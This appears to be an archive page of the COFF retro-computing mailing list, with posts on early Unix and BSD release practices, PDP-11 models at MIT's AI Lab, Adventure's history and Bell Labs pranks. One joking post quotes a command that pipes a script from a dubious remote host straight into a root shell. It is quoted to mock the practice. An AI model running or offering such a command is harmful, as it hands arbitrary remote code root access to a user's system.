- COFF - www.tuhs.org

[TUHS] Unix and SW Releases (was V7 et al from Will)

by Clem Cole

This topic is still primarily UNIX but is getting near the edge of COFF, so I'll CC there if people want to follow up. As I mentioned to Will, during the time Research was doing the work/put out their 'editions', the 'releases' were a bit more ephemeral - really a set of bits (binary and hopefully matching source, but maybe not always) that become a point in time. With 4th (and I think 5th) Editions it was a state of disk pack when the bits were copies, but by 6th edition, as Noel points out, there was a 'master tape' that the first site at an institution received upon executing of a signed license, so the people at each institution (MIT, Purdue, CMU, Harvard) passed those bits around inside. But what is more, is what Noel pointed out, we all passed source code and binaries between each other, so DNA was fairly mixed up [sorry Larry - it really was 'Open Source' between the licensees]. Sadly, it means some things that actually were sourced at one location and one system, is credited sometimes credited from some other place the >>wide<< release was in USG or BSD [think Jim Kulp's Job control, which ended up in the kernel and csh(1) as part in 4BSD, our recent discussions on the list about more/pg/less, the different networking changes from all of MIT/UofI/Rand, Goble's FS fixes to make the thing more crash resilient, the early Harvard ar changes - *a.k.a.* newar(1) which became ar(1), CMU fsck, e*tc*.]. Eventually, the AT&T Unix Support Group (USG) was stood up in Summit, as I understand it, originally for the Operating Companies as they wanted to use UNIX (but not for the licenses, originally). Steve Johnson moved from Research over there and can tell you many more of the specifics. Eventually (*i.e.* post-Judge Green), distribution to the world moved from MH's Research and the Patent Licensing teams to USG and AT&T North Carolina business folks. That said, when the distribution of UNIX moved to USG in Summit, things started to a bit more formal. But there were still differences inside, as we have tried to unravel. PWB/TS and eventually System x. FWIW, BSD went through the same thing. The first BSD's are really the binary state of the world on the Cory 11/70, later 'Ernie.' By the time CSRG gets stood up because their official job (like USG) is to support Unix for DARPA, Sam and company are acting a bit more like traditional SW firms with alpha/beta releases and a more formal build process. Note that 2.X never really went through that, so we are all witnessing the wonderful efforts to try to rebuild early 2.X BSD, and see that the ephemeral nature of the bits has become more obvious. As a side story ... the fact is that even for professional SW houses, it was not as pure as it should be. To be honest, knowing the players and processes involved, I highly doubt DEC could rebuild early editions of VMS, particularly since the 'source control' system was a physical flag in Cutler's office. The fact is that the problem of which bits were used to make what other bits was widespread enough throughout the industry that in the mid-late 80s when Masscomp won the bid to build the system that Nasa used to control the space shuttle post-Challenger, a clause of the contract was that we have put an archive of the bits running on the build machine ('Yeti'), a copy of the prints and even microcode/PAL versions so that Ford Aerospace (the prime contractor) could rebuild the exact system we used to build the binaries for them if we went bankrupt. I actually, had a duplicate of that Yeti as my home system ('Xorn') in my basement when I made some money for a couple of years as a contract/on-call person for them every time the shuttle flew. Anyway - the point is that documentation and actual bits being 100% in sync is nothing new. Companies work hard to try to keep it together, but different projects work at different speeds. In fact, the 'train release' model is what is usually what people fall into. You schedule a release of some piece of SW and anything that goes with it, has to be on the train or it must wait for the next one. So developers and marketing people in firms argue what gets to be the 'engine' [hint often its HW releases which are a terrible idea, but that's a topic for COFF].

4 years, 4 months

5
9
0 0

Knuth

by Paul Palmer

Nice article https://www.nytimes.com/2018/12/17/science/donald-knuth-computers-algorithm… Near the end, in the picture labelled "a few notes" you can see the corner of what looks like a calculator. Can anybody identify it?

4 years, 4 months

8
10
0 0

Re: [COFF] Calculator

by Paul Palmer

Heres the article https://www.nytimes.com/2018/12/17/science/donald-knuth-computers-algorithm… On Sat, Aug 1, 2020, 10:13 PM Paul Palmer <paul.allan.palmer(a)gmail.com wrote: > From an article on knuth. A corner of an early calculator of his. Can > anyone identify? > > > >

4 years, 4 months

1
0
0 0

was: [TUHS] Dennis Ritchie's Dissertation

by Will Senn

On 8/1/20 9:13 AM, Larry McVoy wrote: > My dad wasn't famous, but he had a PhD in physics. He never asked people > to call him Dr McVoy. As we grew up and realized he could be called that > we asked him why not. He said it sounds fancy, the only time he used it > was when he wanted a table at a crowded restaurant (which was very rare, > Madison didn't pay him very well). > > Somehow that stuck with me and I've always been sort of wary of people > who use their title. The people I admire never did. > > Someone on the list said that they thought Dennis wouldn't appreciate > it if we got his PhD official. I couldn't put my finger on it at the > time, but I agreed. And I think it is because the people who are really > great don't need or want the fancy title. I may be over thinking it, > but Dennis does not need the title, it does nothing to make his legacy > better, his legacy is way way more than that title. > > Which is a long ramble to say I agree with Markus. I agree with your dad, completely, it's fancy. I too am uncomfortable with the title. I think it's because I was a street kid and as the saying goes, you can take the kid out of the street, but you can't take the street out of the kid. I work in the academy, so it's prevalent, but I find it pretentious to insist on people calling you doctor. I ask people to just call me Will. It's interesting to watch the reactions. Some folks are glad to, some are fearful to (mostly students), and some outright reject the proposition (mostly those pretentious types). With regards to Dennis and his view on things, I haven't the slightest clue, but if someone were to present him with an honorary degree, it would be their attempt to recognize his exemplary contributions and would not be meant as anything other than highest praise. As someone who loves programming in C, I'm a direct beneficiary of his legacy and would gladly support his being recognized in this manner. I know several people who have been granted honorary doctorates, at least one of who had no prior degree. They accepted and enjoyed telling their close friends about their now having to call them doctor, but otherwise taking it as a compliment and honor and not bothering about the title. Will -- GPG Fingerprint: 68F4 B3BD 1730 555A 4462 7D45 3EAA 5B6D A982 BAAF

4 years, 4 months

1
0
0 0

Re: [COFF] [TUHS] Will pdp 11/04 run unix?

by jnc＠mercury.lcs.mit.edu

> From: Lars Brinkhoff > I have seen conflicting information in sources dating from the 70s when > the TV-11 and XGP-11 were very much in use. > For several reasons, I believe the TV-11 was the first machine attached > to the 10-11 interface, and the XGP-11 came second. This would lend > some weak support for the theory that the first would be a 11/20 and the > second a 11/10. Yeah, but Clem's note reinforces my vague memory that the XGP-11 was an -11/20. I wish we had a picture of the Knight TV system (the system, not a terminal). It's a extremely significant system - I believe it my have been the first bit-mapped computer display system ever; and thus the prototype, in some sense, for the display of every single personal compupter (including phones) now extant - and so there _ought_ to be a photo of it. But looking online for a while, I can turn up almost nothing about it! (I guess we should do a page about it on the CHWiki...) (Repeat my prior grump about how the AI Lab did all sorts of ground-breaking stuff, because it was just 'tools', and not their main research focus, it's hard to find out about a lot of it, e.g. the inter-ITS network file system.) But if you can find an image, even a low-res picture of that end of the AI Lab machine room, we can tell what model the TV-11 is - early 11's had inteagrated front panels, which are different for every model: http://ana-3.lcs.mit.edu/~jnc/tech/pdp11/PDP-11_Models.html so you don't even need to be able to read anything to tell a /20 from a /10. It was in a dual (I think - maybe triple, it's been a looooooong time :-) rack which IIRC was along the side wall (i.e. the short building side) next to the AI KA10 (which was sort of along the long wall, up in the corner). I don't know if the XGP-11 code is still extant (my copy of the ITS filesystem is offline right at the moment), but even if we look at the code, I'm not sure we could tell; there are some _very minor_ programming differences between the /20 and /10 (e.g. V bit on SWAB) - see the table at thd end of the PDP-11 Architecture Handbook - but I'd be aurprised if the code used any. Surely there has to be _some_ picture of the machine room which shows it, even if in the background. > I did bring it up with TK at some point. Try RG, too. Noel

4 years, 4 months

1
0
0 0

Re: [COFF] [TUHS] Will pdp 11/04 run unix?

by jnc＠mercury.lcs.mit.edu

> From: Angelo Papenhoff > Well the TV-11 is a tough question. I originally wrote an 11/05 emulator > because some document said it was an 11/10 (which is the same thing). > But other sources claimed it was an 11/20. Hmmm. My memory was that it was an -11/05-10 (they are identical, except for the paint on the front panel; and I don't recall it in enough detail to say), but perhaps I'm wrong? Or maybe it was an -11/20 early, and then it got replaced with an -11/10? (I have a _very_ vague memory that the XGP's -11 was a /20, bur I wouldn't put much weight on that.) Moon or TK or someone might remember better. Noel

4 years, 4 months

4
6
0 0

Re: [COFF] [TUHS] Will pdp 11/04 run unix?

by Lars Brinkhoff

Angelo Papenhoff wrote: > Noel Chiappa wrote: >> If the KE11 is needed to run some application on the -11/04, there >> are KE11-B's (program compatible, but a single hex card) available, >> ISTR. For emulation, something (SIMH?) supports it, since the TV -11 >> on ITS (now running in emulation,I'm pretty sure) uses it. > > Well the TV-11 is a tough question. I originally wrote an 11/05 emulator > because some document said it was an 11/10 (which is the same thing). > But other sources claimed it was an 11/20. To clarify, the emulated TV-11 is *not* in any way based on SIMH. There are more machines to potentially hook up to the 10-11 interface, but I'm quite unsure if SIMH is the right vehicle for those. But this is now clearly out of TUHS territory. CC to coff only.

4 years, 4 months

1
0
0 0

Re: [COFF] [TUHS] Traditional method of dealing with embedded shar files

by Adam Thornton

"You'd be out of your mind to blindly run the shell on some anonymous shar file..." But but but all the cool kids tell you to install their new Javascript framework with: "curl https://rocketviagra.ru/distro/latest.sh | sudo /bin/bash" Get offa my lawn. On Fri, Jul 24, 2020 at 7:01 PM Dave Horsfall <dave(a)horsfall.org> wrote: > On Fri, 24 Jul 2020, Random832 wrote: > > > For whatever it's worth, you can do the exact same thing as vi with sed > > in this case: 1,/====/d > > It's been a while since I had to use it, but didn't "unshar" do this sort > of thing, and in a safe manner too? You'd be out of your mind to blindly > run the shell on some anonymous shar file... > > -- Dave >

4 years, 5 months

1
0
0 0

Fwd: This Woman Inspired One of the First Hit Video Games by Mapping the World’s Longest Cave

by Clem Cole

If you'll old enough to remember 'ADVENT' and been around the geeks when it was a craze on the ARPA-net in the late 70s. You might find this article which was in my feed last night: https://onezero.medium.com/the-woman-who-inspired-one-of-the-first-hit-vide… fun. For those that did not, it was the world's first adventure game (no graphics, just solving a series of puzzles while wandering through a cave). It was originally written in Fortran-IV for the PDP-10/20 with a small assembler assist to handle RAD50 for the input. [FYI: MIT'S Haystack observatory is about 2 miles as the crow flies from my house on the top of hill next over, in the town next to mine, Westford. Groton, MA is the town after that]. This article is an interesting read (about 20 mins) with stuff I never knew. I knew a divorced Will Crowthers worked at BBN and wrote the game Adventure for his daughters to play when they visited him. I also knew that he had been a caver and that the cave in the game was modeled after Kentucky's Mammoth Caves. I did not know until a few years ago, [from a friend of my wife's, Madeliene Needles] that at some time they were living in Groton (because Crothers' ex-wife was working at Haystack with Madeliene for a while). As this article tells the story, it was Patricia Crowthers who actually did the mapping work. FWIW: As a fun factoid, today, the Stanford version is one of the tests used by the old DEC and now the Intel Fortran-2018 compiler to verify that the compiler can still compile fixed format FORTRAN-IV and ensure the resulting program still works. And of course, 'packrat Clem;' my own 'advent' map is in my filing cabinet in the basement. Written on the back of '132 column green bar' computer paper of course. Clem For the folks that are interested, more good stuff including a number of versions of the code can be found at: https://rickadams.org/adventure/

4 years, 5 months

2
1
0 0

Re: [COFF] BTL Pranks

by John P. Linderman

> Did the non-Unix people also pull pranks like the watertower? Every year when our director, Arun Netravali of center 1135, went on vacation, Scott Knauer, a department head, would pull some kind of stunt. One year he covered the carpeting in Arun's office with green astroturf, so it looked like half of a tennis court. Another year, he recruited many of us to blow up balloons, which he collected in Arun's office by aiming a huge fan in that direction, while we pitched inflated balloons into the corridor. Scott, being Scott, completely topped off the balloons by lifting the ceiling tiles near the office door. I recall walking into Building 3 on the day Arun was scheduled to return and seeing balloons struggling to escape from every open window of his office. Building 3 lacked the large stairwells like the one that housed the Peter face made of magnets. But Scott compensated by projecting Arun's image along a long corridor, and covering it with magnets, so Arun's face was visible on a sidewall as you approached the end of the corridor. I found the playful attitude at the Labs in general as an indicator of out-of-the-box thinking that a research organization thrives on.

4 years, 5 months

1
0
0 0

2024

2023

2022

2021

2020

2019

2018

COFF